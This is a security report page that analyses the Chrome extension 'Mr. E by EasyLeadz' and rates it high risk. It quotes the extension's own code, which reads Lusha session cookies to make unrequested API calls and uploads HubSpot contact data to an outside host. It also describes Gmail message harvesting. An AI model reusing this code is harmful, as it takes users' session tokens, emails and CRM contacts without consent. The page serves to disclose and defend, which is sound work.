Is Mr. E by Easyleadz: Free B2B Phone number & Email Finder safe?

High risk

Mr. E by EasyLeadz is high risk. On dashboard.lusha.com/prospecting/contacts or /contact-lists, the extension attaches your Lusha XSRF-TOKEN/_csrf cookies to an unrequested GET to Lusha's API, 5s after load. With no login, values sent were "null"; Lusha returned 401.…

EasyLeadzv2.2.8Extension ID haphbbhhknaonfloinidkcmadhfjoghcChrome Web Store
78Risk
Who publishes it

Sponsifyme Technologies Private Limited - 1 other listing from the same operator, none carrying a finding

Publisher
EasyLeadz
Declared legal entity
Sponsifyme Technologies Private Limited
Registered address
G 36 G Block Connaught Place, New Delhi, Delhi 110001, India
Registered contact
Nitin Bajaj

Same store account

1 other listing published from this account, 1k+ users between them, none of them carrying a finding.

Shared hosts - 3 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

dashboard-services.lusha.com
Also called by 1 other listing: Lusha
instafinancials.com
Also called by 1 other listing: Surereach: Find verified Mobile No. & Emails
rocketreach.co
Also called by 6 other listings
AI-assisted analysis.

Mr. E by EasyLeadz findings

Extension Reads Your Lusha Session Tokens to Call Lusha's API

HighunwantedCWE-522Dynamic sandbox

On dashboard.lusha.com/prospecting/contacts or /contact-lists, the extension attaches your Lusha XSRF-TOKEN/_csrf cookies to an unrequested GET to Lusha's API, 5s after load.

What actually happens

You did this

You are logged into Lusha and browsing dashboard.lusha.com.

The content script runs on every page you visit and checks whether the URL matches dashboard.lusha.com/prospecting/contacts or /contact-lists.

The extension did this

The extension reads your Lusha session cookies and uses them to make an API call on your behalf.

It reads your XSRF-TOKEN and _csrf cookies from document.cookie and attaches them as headers on a GET to Lusha's own contacts API, a request that fires without any click or consent prompt.

Session values read from your cookies and reused as headers

  • Your Lusha XSRF session token
    XSRF-TOKEN=eyJhbGciOiJIUzI1NiJ9.a1b2c3d4e5f6 (illustrative — the test session had no active Lusha login)

    This token authenticates you to Lusha. The extension reads it from your cookie jar and attaches it to an API call you didn't make.

  • Your Lusha CSRF token
    _csrf=8f3e1a2b-9c4d-4e5f-a1b2-c3d4e5f67890 (illustrative — the test session had no active Lusha login)

    This token proves a request came from an authenticated Lusha session. The extension reads it from your cookies and adds it as a header.

Captured request

GEThttps://dashboard-services.lusha.com/v2/list/all/contacts?$limit=1000

Observed during dynamic analysis on dashboard.lusha.com/prospecting/contacts: this GET fired automatically, 5 seconds after page load, with no click or other interaction. The header values shown are the literal strings the extension attached in this run, 'null' for both, because the test session had no active Lusha login and readCookie() found nothing to return. That confirms the header-attach step runs unconditionally regardless of what readCookie() finds; Lusha's API returned 401 Unauthorized here, but with a real, logged-in session the same code path attaches the actual session tokens and the call succeeds.

Headers
_csrf
null
x-xsrf-token
null

The code that does this

Cookie read and header-attach on Lusha's own API

Readable version

readCookie() — reads any cookie by name

js/content.js
function readCookie(name) {    var nameEQ = name + "=";    var ca = document.cookie.split(';');    for(var i=0;i < ca.length;i++) {        var c = ca[i];        while (c.charAt(0)==' ') c = c.substring(1,c.length);        if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);    }    return null;}

Cookie values attached as headers on Lusha's own API

js/content.js
function getData(xtoken,csrf){    const url1 = "https://dashboard-services.lusha.com/v2/list/all/contacts?$limit=1000";    let xhr = new XMLHttpRequest()        xhr.open('GET', url1, true);    xhr.withCredentials = true;    xhr.setRequestHeader('x-xsrf-token', xtoken);    xhr.setRequestHeader('_csrf', csrf);    //xhr.setRequestHeader('cookie', ck)    xhr.send(null);        xhr.onload = function () {        if(xhr.readyState === 4) {            var rs = {};            try{                rs = JSON.parse(xhr.response);            }catch(e){}            //console.log(rs);            sData(rs);        }    }}

Opening a Gmail thread posts sender details and message text to sponsifyme.com

HighunwantedCWE-359Static analysis

Code analysis shows that opening a Gmail thread makes the extension read sender names, addresses and message text and POST them to sponsifyme.com.

What actually happens

You did this

You open an email thread in Gmail.

The URL then contains mail.google.com/mail/ and inbox/.

The extension did this

The extension reads each message's sender name, address and text and posts the list to sponsifyme.com.

Based on code analysis; the request was not captured.

Fields in each posted record

  • Sender name
    Jane Smith (illustrative)

    Display name of the message sender, read from the avatar image.

  • Sender email
    jane.smith@example.com (illustrative)

    Address of the sender, read from the hovercard attribute.

  • Message ID
    msg-f:1781234567890123456 (illustrative)

    Gmail's identifier for the message.

  • Message text
    Hi%20team%2C%20please%20find... (illustrative)

    Text of the message with HTML tags removed, URL-encoded.

The code that does this

Gmail DOM read and upload path

Readable version
The code is not obfuscated; the shipped source is shown as written.

Where the data is sent

    • sponsifyme.com

    Receives the POST at /api/save_sig.php with a fixed User-Token header; operator not identified in the code.

Observation

Dynamic analysis could not load an authenticated Gmail thread, so no request to sponsifyme.com was observed. The finding rests on code analysis.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Mr. E reads your HubSpot contacts and sends them to easyleadz.com

MediumunwantedCWE-359Static analysis

Code analysis shows the extension reads names, emails and phone numbers from HubSpot contact pages and posts them to app.easyleadz.com.

What actually happens

You did this

You open a HubSpot contacts list or contact record.

The extension did this

The script reads the contact fields on screen and hands them to the background script for upload.

The code that does this

Background handler that uploads the contact data

Readable version

Source is already readable

extracted/js/background.js
} else if (message.action == 'saved') {      fetch('https://app.easyleadz.com/api/v3/saved.php', {         method: 'POST',         body: JSON.stringify(message.data),         headers: {            'Content-type': 'application/json; charset=UTF-8',            'User-Token': '<redacted>'         }      })

Fields read from HubSpot pages (code-derived)

  • Contact name
    Jane Alvarez

    Name of the person in your CRM.

  • Email address
    jane.alvarez@example.com (illustrative)

    Work or personal email held in the contact record.

  • Phone number
    +1 415 555 0142 (illustrative)

    Phone number held in the contact record.

Destination named in the code

    • app.easyleadz.com

    Receives CRM contact data at /api/v3/saved.php.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

+8 more findings not shown

If you have Mr. E by EasyLeadz installed

  1. Open chrome://extensions and turn on Developer mode to show IDs. Find the one with ID haphbbhhknaonfloinidkcmadhfjoghc and choose Remove.
  2. Block the servers only it was seen contacting: sponsifyme.com, app.easyleadz.com, dashboard-services.lusha.com, www.crunchbase.com.
  3. Scan your browser to check the rest of your extensions.

What Mr. E by EasyLeadz can do

Permissions this extension asks for, as declared in version 2.1.8. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 2.2.8, which we have not unpacked yet.

  • See the address and title of every tab you have open

    tabs

  • Store data in your browser

    storage

  • Show a panel beside the page

    sidePanel

Mr. E by EasyLeadz version history

  1. 2.1.8

    Mar 4, 2026

  2. +5 more

  3. 2.2.6

    Jul 20, 2026

  4. 2.2.7

    Jul 31, 2026

  5. 2.2.8

    Aug 9, 2026

Where Mr. E by EasyLeadz sends data

  • sponsifyme.com/api/save_track.php4 calls

    From its background script · only this extension

  • app.easyleadz.com/api/save_yul.php2 calls

    From a script it injects into websites · only this extension

  • app.easyleadz.com/api/save_ld.php1 call

    From a script it injects into websites · only this extension

  • dashboard-services.lusha.com/v2/list/…1 call

    From a script it injects into websites · only this extension

  • www.crunchbase.com/v4/data/…1 call

    From a script it injects into websites · only this extension

Chrome Web Store listing

Versions
2.2.8 latest of 9 seen since March 4, 2026
Store rating
4.8 from 8,213 ratings
Last updated
August 8, 2026
Size
594 KiB
Privacy policy
www.easyleadz.com
Updated November 20, 2026